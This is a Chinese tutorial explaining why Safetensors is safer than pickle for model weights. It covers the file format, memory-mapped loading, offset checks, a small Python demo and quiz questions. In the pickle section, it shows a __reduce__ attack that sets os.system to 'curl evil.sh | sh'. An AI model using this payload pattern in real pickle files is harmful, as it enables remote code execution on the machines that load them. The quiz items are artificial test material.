想象你是一个大模型团队的“仓库管理员”。训练结束,你要把几百 GB 的模型权重从一个机房搬到另一个机房。现在有两家搬家公司摆在面前。第一家递给你一个漆黑的“魔法快递箱”:它说,你不需要知道里面是什么,只要拆开箱子,里面的机关会自动帮你把东西摆好。听起来很酷,但问题是——箱子一旦开启,就能执行它自己携带的任何指令,可能是整理货物,也可能是打开仓库大门、运行一段恶意脚本。这就是 Python 生态里最常见的 pickle 序列化格式。 第二家递来的不是箱子,而是一个半透明的标准货运集装箱。箱顶贴着一张 JSON 清单,清楚地写着“第几号货位放着哪一层网络的权重,数据从哪里开始、到哪里结束”。箱体内部只有整齐排列的原始二进制数据,没有任何齿轮、弹簧或会自动执行的“机关”。更妙的是,你不需要把箱子搬进客厅,只需站在仓库门口,通过一面“透视窗”直接看到货位上的数据——这就是 Safetensors 的内存映射读取。 本文就用“集装箱搬家”这个比喻,带你理解:为什么 Safetensors 比 pickle 更安全?它的格式如何设计?内存映射为什么快?以及你在真实项目中应该怎么选。

岗位关联

对 AI 从业者而言,掌握 Safetensors 的安全原理与正确用法,是避免恶意模型文件 RCE 攻击、优化大模型加载内存、构建可信模型供应链的基本功。

目录
  1. 可视化演示
  2. 模型序列化
  3. Pickle漏洞
  4. 格式设计
  5. 内存映射
  6. 安全防线
  7. 格式对比
  8. 生产实践
  9. 边界取舍
  10. AI 应用场景
  11. Python 演示
  12. 常见误区
  13. 面试题

可视化演示

动态演示Safetensors内存安的核心机制,通过输入/处理/存储/输出四种模式展示关键概念与交互流程。

本节配有交互动效(进入视口后自动加载,约 3KB)。

Safetensors内存安:Pick Pickle反序列化的代码执行 Safetensors格式设计 核心机制可视化 Safetensors内存安整体架构与关键组件

模型序列化

搬家之前,你总得先把服务器机柜里正在“运行”的神经网络权重安稳地搬到硬盘上。模型序列化做的就是这件事:把内存中张量、结构信息变成磁盘上的一个字节流文件。一个训练好的模型可能包含数百个张量、形状、数据类型和优化器状态,序列化决定这些信息能否被完整保存、快速加载,也决定了文件在传输过程中是否值得信任。

Python 世界里最常见的“搬家队”是 pickle。PyTorch 的 torch.save 和 torch.load 长期默认使用它,因为它能保存几乎任何 Python 对象,包括类实例、函数、闭包。可是“什么都能装”的魔法箱子,恰恰是安全问题的源头:一旦箱子设计成“拆箱时自动执行里面的机关”,那这个机关就能被攻击者利用。

因此,序列化不只是“把对象变成字节”这么简单。它同时定义了一条安全边界:文件里的内容到底是纯粹的“货物清单 + 货物”,还是带着“自动运行指令”的可执行包裹。Safetensors 之所以出现,就是要把这条边界画得清清楚楚:我只搬货,不跑任何代码。选哪个搬家队,决定了你的仓库是门禁森严还是大门敞开。

Pickle漏洞

有些黑心快递箱里藏了机关:拆开箱子的瞬间,箱子会自己播放一段指令,甚至操作仓库里的其他设备。pickle 就是这种“魔法箱子”。它的设计目标是把任意 Python 对象完整还原,于是允许每个对象自定义“如何被重新创建”。这个钩子就是 __reduce__ 魔术方法。当一个 pickle 文件被反序列化时,Python 会先调用对象指定的还原函数,再传入参数执行,最终得到对象。如果攻击者把还原函数改成 os.system,那 torch.load 一个恶意文件就等同于在目标机器上运行一条 shell 命令。

所以,任何一个不可信的 .pkl、.bin、.pt 文件,都不能用 torch.load 直接打开。哪怕文件来自“朋友”或“同事”,只要经过不可信渠道传输,都可能被注入恶意载荷。pickle 的信任边界是:它本质上是一段需要被完整信任的代码,而不是一份普通数据文件。

pickle 还原⏟unpickle:obj.__reduce__()→(callable,args),callable(∗args)\underbrace{\text{pickle 还原}}_{\text{unpickle}}:\quad \text{obj}.\_\_reduce\_\_() \to (\text{callable}, \text{args}),\quad \text{callable}(\ast \text{args})
这个公式说明:pickle 的“还原”不是单纯取数据,而是“运行一个由文件指定的函数”。这是它与 SafeTensors 最本质的区别。
  1. 魔术钩子__reduce__ 是 Python 留给对象自定义还原方式的钩子,pickle 在反序列化时一定会调用它。
    obj.__reduce__()→(func,args)\text{obj}.\_\_reduce\_\_() \to (\text{func}, \text{args})
  2. 还原即调用pickle 拿到函数元组后,会执行 func(*args) 来重建对象,这是协议规定的自动步骤。
    func(∗args)\text{func}(\ast \text{args})
  3. 恶意组合攻击者把 func 设成 os.system,把 args 设成攻击命令,反序列化瞬间就在机器上执行。
    os.system("curl evil.sh | sh")\text{os.system}(\text{"curl evil.sh | sh"})

格式设计

Safetensors 的箱子是半透明集装箱。箱顶贴着一张 JSON 标签,标签写着每个货位的位置、每个张量的名称、形状、数据类型,以及数据在箱子里的起止位置。箱体内部没有任何“自动执行”的机械装置,只有按顺序码放的原始二进制权重。加载时,程序先读标签,再根据标签直接去对应位置取货。

Safetensors 的文件布局非常固定:文件开头是 8 字节的小端无符号整数,表示 JSON 头部有多少字节;紧接着是 JSON 元数据;再往后就是原始张量数据区。JSON 中的 data_offsets 记录每个张量在数据区内的 [start, end),由于偏移量是显式给出的,加载器不需要扫描、不需要猜测,也不会触发任何 Python 对象还原。

为了让加载和内存映射更高效,实现还会对 JSON 头部做补齐,并对张量偏移做固定边界对齐。这样设计的好处是:解析器面对的是一个极其规整的二进制结构,任何不符合规则的偏移都能被立刻识别并拒绝。

Safetensors 文件=8字节头部长度⏟H+JSON 元数据⏟M+原始张量数据⏟D\text{Safetensors 文件} = \underbrace{\text{8字节头部长度}}_{H} + \underbrace{\text{JSON 元数据}}_{M} + \underbrace{\text{原始张量数据}}_{D}
整个文件只有“长度 + 标签 + 纯数据”三部分,没有“加载后要执行的代码”这一层概念。
  1. 头部长度 H文件最前面的 8 字节,按小端序写成无符号整数,告诉解析器 JSON 头部有多长。
    H=little-endian uint64H = \text{little-endian uint64}
  2. JSON 元数据 M一个字典,键是张量名,值包含 dtype、shape、data_offsets。
    M={name:{dtype,shape,data_offsets}}M = \{ \text{name}: \{\text{dtype}, \text{shape}, \text{data\_offsets}\} \}
  3. 数据区 D只存放权重对应的原始字节,不包含 Python 对象、函数或导入语句。
    D[start:end]=某张量的原始字节D[\text{start}:\text{end}] = \text{某张量的原始字节}

内存映射

如果说 torch.load 是“把所有箱子都搬进客厅再拆开”,那么 safe_open 就是“站在仓库门口,用遥控射灯直接照亮目标货位”。Safetensors 的加载过程会把整个文件映射到进程的虚拟内存中,而不是一次性把几百 GB 读进物理内存。操作系统只在代码真正访问某个张量时,才把对应磁盘页调入内存。

这种机制叫 mmap。对 AI 开发者最直观的感受是:加载一个 10GB 的模型文件,启动时间可能不到一秒,内存占用也很低。因为文件映射只建立了“虚拟地址 → 文件偏移”的对应关系,真正读盘是后续访问张量数据时按需发生的。

这种“按需取货”的方式特别适合超大模型。比如推理服务只需要加载前几层做试运行,或者只要某几个 LoRA 权重,都能通过切片精准读取。等计算真正用到这些数据时,操作系统才会从磁盘读取对应页,这就是惰性加载带来的速度与内存红利。

base=mmap⁡(fd),tensori=base[data_start+starti: data_start+endi]\text{base} = \operatorname{mmap}(fd),\quad \text{tensor}_i = \text{base}[\text{data\_start}+\text{start}_i:\ \text{data\_start}+\text{end}_i]
简单说:先用 mmap 拿到文件的一个“虚拟视图”,再按清单里的偏移直接切片。整个过程没有数据复制,也没有代码执行。
  1. 映射基础地址mmap(fd) 把整个文件映射成一段连续的虚拟地址空间,返回基础地址 base。
    base=mmap⁡(fd)\text{base} = \operatorname{mmap}(fd)
  2. 数据区起点data_start = 8 + H,也就是“8 字节头部长度 + JSON 头部”之后的位置。
    data_start=8+H\text{data\_start} = 8 + H
  3. 偏移切片第 i 个张量从 data_start + start_i 开始,到 data_start + end_i 结束,直接切片即可。
    tensori=base[data_start+si: data_start+ei]\text{tensor}_i = \text{base}[\text{data\_start}+s_i:\ \text{data\_start}+e_i]

安全防线

安全不是靠“加载时扫描病毒”实现的,而是从设计上取消“执行”这个动作。Safetensors 的解析器只做三件事:读头部、校验元数据、返回原始数据的视图。它没有任何“根据文件内容调用用户函数”的机制,因此攻击者即使精心构造文件,也找不到代码执行入口。

更重要的是,解析器会像一个严格的安检员,全面校验文件结构与偏移。JSON 头部长度不能超过文件总大小;每个 data_offsets 必须满足开始小于结束、结束不越过数据区末尾;张量名不能重复;数据偏移必须落在合法范围内。这些校验全部发生在任何数据被访问之前。

这套“免信任文件”原则很重要:模型文件不是代码,而是不可信的外部输入。SafeTensors 的加载器不依赖“这个文件是否来自官方”,而是靠严格的格式校验来保证安全。集装箱有没有夹层不重要,因为海关只按清单验货,清单之外的一律拦下。

valid  ⟺  ∀i: 0≤starti<endi≤L\text{valid} \iff \forall i:\ 0 \le \text{start}_i < \text{end}_i \le L
这条公式是安全防线的核心:加载器只承认“完全在数据区内且顺序正确”的偏移。任何一条不满足,就直接拒绝加载。
  1. 下界约束每个张量的起始偏移必须不小于 0,防止出现负数偏移。
    0≤starti0 \le \text{start}_i
  2. 顺序约束起始偏移必须小于结束偏移,防止空切片或反向切片。
    starti<endi\text{start}_i < \text{end}_i
  3. 上界约束结束偏移必须不超过数据区总长度 L,防止越界读取文件之外的内存。
    endi≤L\text{end}_i \le L

格式对比

现在我们来比较三家搬家公司:魔法箱子 pickle、多功能橱柜 HDF5、透明集装箱 Safetensors。

pickle 最大优势是零门槛,什么都能装,正因如此它也是风险最高的。加载 pickle 文件本质上是执行一段 Python 字节码,文件来源一旦不可信,整个机器都可能被攻陷。除了安全问题,pickle 加载大模型时还会创建大量临时 Python 对象,速度慢、内存峰值高。

HDF5 是一个成熟的科学数据格式,支持层级结构、数据集、属性,也能保存张量。它适合科研场景里的复杂数据管理,但对大模型权重分发来说偏重:C 库依赖体积大、API 复杂、历史上有不少 C 层漏洞。它并不以“处理不可信文件”作为首要设计目标,所以不能完全替代 SafeTensors 的安全定位。

Safetensors 有意做“减法”:只保存张量和基础元数据,不保存 Python 对象;格式简单到可以用几十行代码解析;配合 mmap 可以做到零拷贝、并行读取。它牺牲了通用性,换来了加载速度、内存效率和更小的攻击面。对模型权重的发布、下载和加载来说,这种取舍非常合理。

生产实践

真实仓库里的正规流程是:任何从外部收到的 .bin 文件,先过安检转换为 .safetensors,再让业务系统用 safe_open 按需挂载。Hugging Face 生态已经全面拥抱这套流程,from_pretrained 会自动优先寻找 .safetensors 文件;只有在没有 Safetensors 版本时,才会回退到 pickle 格式。

如果你想直接读取一个 Safetensors 文件,可以使用 safetensors 库的 safe_open。加载时指定 framework="pt",返回的就是 PyTorch 可以使用的张量;最妙的是,这个张量背后是内存映射视图,真正访问到某个权重时才会发生磁盘 I/O。对于 LLM 推理引擎,这种按层加载的能力意味着更快的冷启动和更低的内存占用。

日常工作中,转换脚本也很简单:先把旧 checkpoint 用 torch.load 在可信环境中读出来,再通过 safetensors.torch.save_file 写成 SafeTensors 格式。转换完成后,旧文件就可以从模型库中移除。模型部署平台上,统一使用 SafeTensors 还可以让多个进程并发读取同一个文件而不互相阻塞,这对大规模推理服务尤其重要。

边界取舍

透明集装箱解决了“安全搬运”的问题,但并不是万能货架。Safetensors 只能保存张量,不能保存 optimizer 里自定义的 Python 回调、迭代器或任意对象。如果你的 checkpoint 需要完整恢复训练状态,还是要配合其他配置文件或可信的 pickle 方案。

另外,Safetensors 默认不加密、不压缩。它本身不追求文件最小化,也不负责隐私保护。传输前后若需要防篡改或防泄露,还得借助外部工具做签名、校验和、加密或压缩。不要因为格式安全,就误以为它可以替代完整的网络安全机制。

还有一点容易被忽略:mmap 大文件时会占用虚拟地址空间。在 64 位系统上通常不是问题,但在 32 位或内存受限的嵌入式环境里,映射超大模型仍可能遇到地址空间不足。使用建议是:对外发布的权重一律用 Safetensors;自己本机快速调试时,如果确实需要保存复杂对象,才在可信环境里短暂使用 pickle;涉及多机分发时,配合哈希校验一起使用。

AI 应用场景

模型中心下载与微调

阶段:模型获取与预处理

解决的问题:Hugging Face 等模型中心的权重文件可能被恶意替换或投毒。过去直接从网上下载 .bin 再 torch.load,等于在本地“运行”一段外部代码,很容易被 RCE 攻击。改用 Safetensors 后,下载到的是纯数据文件,加载过程不存在代码执行入口。

具体案例:团队准备微调一个开源大模型,配置 from_pretrained 时自动选择仓库里的 .safetensors 权重。代码在 CI 中对文件做哈希校验后加载,整个过程不会执行任何来自文件的 Python 指令。

大模型推理服务冷启动

阶段:模型推理与部署

解决的问题:加载 70B 模型如果用 pickle 反序列化,需要先复制到内存、再重建张量,启动慢、峰值内存高。Safetensors 配合 mmap 让服务启动时只建立文件映射,按需读取被访问的层,显著降低冷启动时间和内存占用。

具体案例:一个 LLM 推理服务同时加载多个 13B 模型副本。以前启动一次要 2 分钟、占用 30GB 内存;换成 Safetensors + mmap 后,启动只需 10 秒,且未访问的权重不占用物理内存。

模型供应链安全审查

阶段:模型资产管理

解决的问题:企业内部模型仓库混有 pickle、HDF5、SafeTensors 等格式,难以统一审计。通过自动化脚本把所有对外发布的张量权重统一转成 Safetensors,并拦截 .pkl 入库,可以从源头切断恶意代码注入路径。

具体案例:安全团队编写了一个文件扫描器,凡是检出 magic bytes 为 pickle 的文件就直接拒绝合并请求,并把 torch 权重自动转为 .safetensors 再发布到内网模型仓库。

Python 演示

python50 行
import jsonimport mmapimport struct  def write_safetensors(path, tensors):    header_map = {}    offset = 0    for name, (dtype, shape, raw) in tensors.items():        header_map[name] = {            "dtype": dtype,            "shape": list(shape),            "data_offsets": [offset, offset + len(raw)],        }        offset += len(raw)     header_bytes = json.dumps(header_map, separators=(",", ":")).encode()    pad = (8 - len(header_bytes) % 8) % 8    header_bytes += b" " * pad     with open(path, "wb") as fp:        fp.write(struct.pack("<Q", len(header_bytes)))        fp.write(header_bytes)        for _, _, raw in tensors.values():            fp.write(raw)  def safe_load(path):    with open(path, "rb") as fp:        head_len = struct.unpack("<Q", fp.read(8))[0]        header = json.loads(fp.read(head_len))        head_len_padded = head_len + ((8 - head_len % 8) % 8)        data_start = 8 + head_len_padded        mm = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)        result = {}        for name, meta in header.items():            begin, end = meta["data_offsets"]            result[name] = memoryview(mm)[data_start + begin:data_start + end]        return result, mm  if __name__ == "__main__":    demo = {        "weight": ("F32", [2, 3], bytes(range(24))),        "bias": ("F32", [3], bytes(range(12, 24))),    }    write_safetensors("/tmp/demo.safetensors", demo)    loaded, mmap_view = safe_load("/tmp/demo.safetensors")    print(loaded["weight"].tobytes()[:4])    mmap_view.close()
目的:用不到 50 行实现一个最小可运行的 Safetensors 写入与安全读取流程,展示“8 字节头部 + JSON 元数据 + 原始数据区”的格式核心。
  1. fp.write(struct.pack("<Q", len(header_bytes)))把 JSON 头部长度按 8 字节小端序写入文件,这是后续定位数据区的起点。
  2. header_map[name] = {"data_offsets": [offset, offset + len(raw)]}记录每个张量在数据区内的起止偏移,加载时不用扫描文件。
  3. pad = (8 - len(header_bytes) % 8) % 8将 JSON 头部补齐到 8 字节倍数,保证后续数据对齐。
  4. mm = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)把文件映射到虚拟内存,而不是一次性读入内存。
  5. data_start = 8 + head_len_padded数据区起点等于“头部长度字节 + 补齐后的 JSON 头部”。
  6. result[name] = memoryview(mm)[data_start + begin:data_start + end]用内存视图按偏移切片,是零拷贝读取,不产生 Python 对象还原。

常见误区

误区很多初学者以为 SafeTensors 文件是加密的,所以安全。其实我直接把文件打开,看到的还是明文二进制数据。

正解Safetensors 的安全来自“不含可执行代码”,不是来自加密。它默认既不加密也不压缩,任何能读取文件的人都能直接解析权重。真要防泄漏,需要自己在传输层或文件外再做加密。

为何常见:因为“安全”两个字容易让人联想到加密、加壳,忽略了 SafeTensors 解决的核心问题是“反序列化时不执行任意代码”。

误区既然 PyTorch 可以用 `torch.save` 保存模型,那 SafeTensors 应该也能保存模型结构、优化器状态、自定义类实例。

正解SafeTensors 只能保存张量及少量 JSON 元数据,不能保存 Python 对象。模型结构需要单独用配置类或代码重建;优化器中的自定义对象也不能直接放进去。它是“重量集装箱”,不是“魔法工具箱”。

为何常见:因为模型训练里的 checkpoint 通常又包含权重又包含状态,初学者容易把格式本身的能力和上层库的封装混为一谈。

误区SafeTensors 是安全的,所以任何恶意文件都不可能攻破我的程序。

正解SafeTensors 降低了“任意代码执行”这一最危险的攻击面,但它并不是操作系统级安全边界。解析器本身是 C++/Rust 代码,仍可能有潜在的越界读写问题;加载后如果其他代码错误地信任偏移,也可能出问题。安全是分层设计,不是靠一个文件格式就万事大吉。

为何常见:人们容易把“更安全”理解成“绝对安全”,忽视任何软件都建立在大量底层代码之上。

误区pickle 在 Python 里很成熟,SafeTensors 是新格式,加载起来应该更慢、更占内存。

正解实际恰恰相反。pickle 需要递归重建 Python 对象,加载大模型时会产生大量临时对象,慢且吃内存。SafeTensors 通过 mmap 和偏移切片实现零拷贝加载,启动快、内存占用低,尤其在超大模型场景下优势明显。

为何常见:因为“新格式”听起来像试验品,而且很多人没有实测过两种格式在大文件下的性能差距。

误区HDF5 也是成熟的模型存储格式,应该和 SafeTensors 一样能安全加载不可信文件。

正解HDF5 主要面向科学数据管理,并非以“免信任文件加载”为设计目标。它的 C 库庞大、历史漏洞较多,也支持更多复杂结构。SafeTensors 则刻意保持极简,只存张量并加严格边界校验,两者设计目标并不相同。

为何常见:因为 HDF5 和 SafeTensors 都能存张量,容易让人忽略“可扩展性”与“安全性”是两种不同的工程取舍。

面试题

Q1. 一个同学拿到可疑的 model.pkl,最安全的做法是?

单选题 · easy

  • A.用 torch.load 直接加载
  • B.重命名为 .bin 再加载
  • C.先用 pickle 转存一次
  • D.不加载,改用可信 safetensors← 正确答案

答案:D。pickle 文件本质上是一段可执行代码,重命名、转存都不能消除危险。只有不加载它,改从可信来源获取 SafeTensors 文件,才能避开反序列化执行风险。

Q2. Safetensors 文件最前面的 8 字节表示什么?

单选题 · easy

  • A.文件总长度
  • B.JSON 头部字节数← 正确答案
  • C.张量总数量
  • D.数据区起始偏移

答案:B。Safetensors 的前 8 字节是小端无符号整数,表示 JSON 头部的字节长度。解析器先读这个长度,再精确读取元数据,才能定位后续数据区。

Q3. 关于 pickle 反序列化,下列说法正确的是?

单选题 · mid

  • A.只恢复数据,不执行函数
  • B.只有 import 该模块才会执行
  • C.可能通过 reduce 执行任意函数← 正确答案
  • D.只对 zip 文件有风险

答案:C。pickle 在还原对象时会调用 __reduce__ 返回的函数和参数,攻击者可以利用这一点执行 os.system 等任意命令。它不只影响 zip 文件,任何 pickle 流都可能含恶意载荷。

Q4. SafeTensors 的 data_offsets 相对于什么位置计算?

单选题 · mid

  • A.文件开头
  • B.8 字节头部之后的数据区起点← 正确答案
  • C.JSON 头部字符串中间
  • D.上一个张量的末尾

答案:B。SafeTensors 的数据区从 JSON 头部之后开始,data_offsets 中的 [start, end) 都是相对于数据区起点的偏移。这样设计让加载器可以基于 mmap 直接切片。

Q5. SafeTensors 中不会包含以下哪一项?

单选题 · mid

  • A.JSON 元数据
  • B.原始权重字节
  • C.Python 可执行代码← 正确答案
  • D.张量形状信息

答案:C。SafeTensors 只包含 JSON 元数据和原始张量数据,刻意不保存任何 Python 对象或可执行代码。正是这种“纯数据”设计,让它避免了 pickle 的任意代码执行问题。

Q6. SafeTensors 比 pickle 更安全的原因包括?

多选题 · mid

  • A.加载时不会执行任意函数← 正确答案
  • B.头部偏移经过边界校验← 正确答案
  • C.文件被强加密保护
  • D.只保存纯张量数据← 正确答案

答案:ABD。SafeTensors 没有代码执行入口,且加载器会严格校验偏移和长度,所以 A、B 正确。它只保存纯张量数据,D 也正确。C 错误,SafeTensors 默认不加密。

Q7. 一个 SafeTensors 文件的数据区总长度为 500,头部声明某张量偏移为 start=900, end=100。加载器应该?

单选题 · hard

  • A.直接切片返回
  • B.返回空张量
  • C.拒绝加载并报错← 正确答案
  • D.自动调整为 0 到 500

答案:C。start 不小于 end,且起始偏移已超出数据区长度,这违反 SafeTensors 的边界校验规则。安全加载器不会自行修正,而是直接报错,防止越界访问。

Q8. 关于用内存映射加载 SafeTensors,下列说法正确的有?

多选题 · hard

  • A.访问哪个张量才读取对应磁盘页← 正确答案
  • B.加载时无需把整个文件复制进内存← 正确答案
  • C.文件删除后映射数据必定立即崩溃
  • D.不同张量可用偏移切片获得← 正确答案

答案:ABD。mmap 是惰性加载,访问到某页才读盘,也避免整文件复制,因此 A、B 正确。D 正确,SafeTensors 正是靠偏移切片取张量。C 错误,文件删除后已建立的映射通常仍可访问直到解除映射,不会“必定崩溃”。

Q9. 以下哪些内容适合用 SafeTensors 保存?

多选题 · hard

  • A.大模型权重与 shape← 正确答案
  • B.optimizer 中的自定义 Python 回调
  • C.LoRA 权重← 正确答案
  • D.训练日志 logger 实例

答案:AC。SafeTensors 只能保存张量和 JSON 元数据,所以模型权重、LoRA 权重适合使用。自定义回调、logger 实例是 Python 对象,pickle 才能保存,但它们不适合也不应该放进 SafeTensors。

Q10. 和 HDF5 相比,SafeTensors 的核心优势是?

单选题 · hard

  • A.支持更复杂的数据层级
  • B.自动加密且文件更小
  • C.面向不可信文件加载更安全← 正确答案
  • D.内置 GPU 调度算法

答案:C。HDF5 擅长复杂层级结构,但这不是 SafeTensors 的卖点;SafeTensors 也不负责加密压缩,更与 GPU 调度无关。它的核心优势是用极简纯数据格式加严格校验,让不可信文件难以发起代码执行攻击。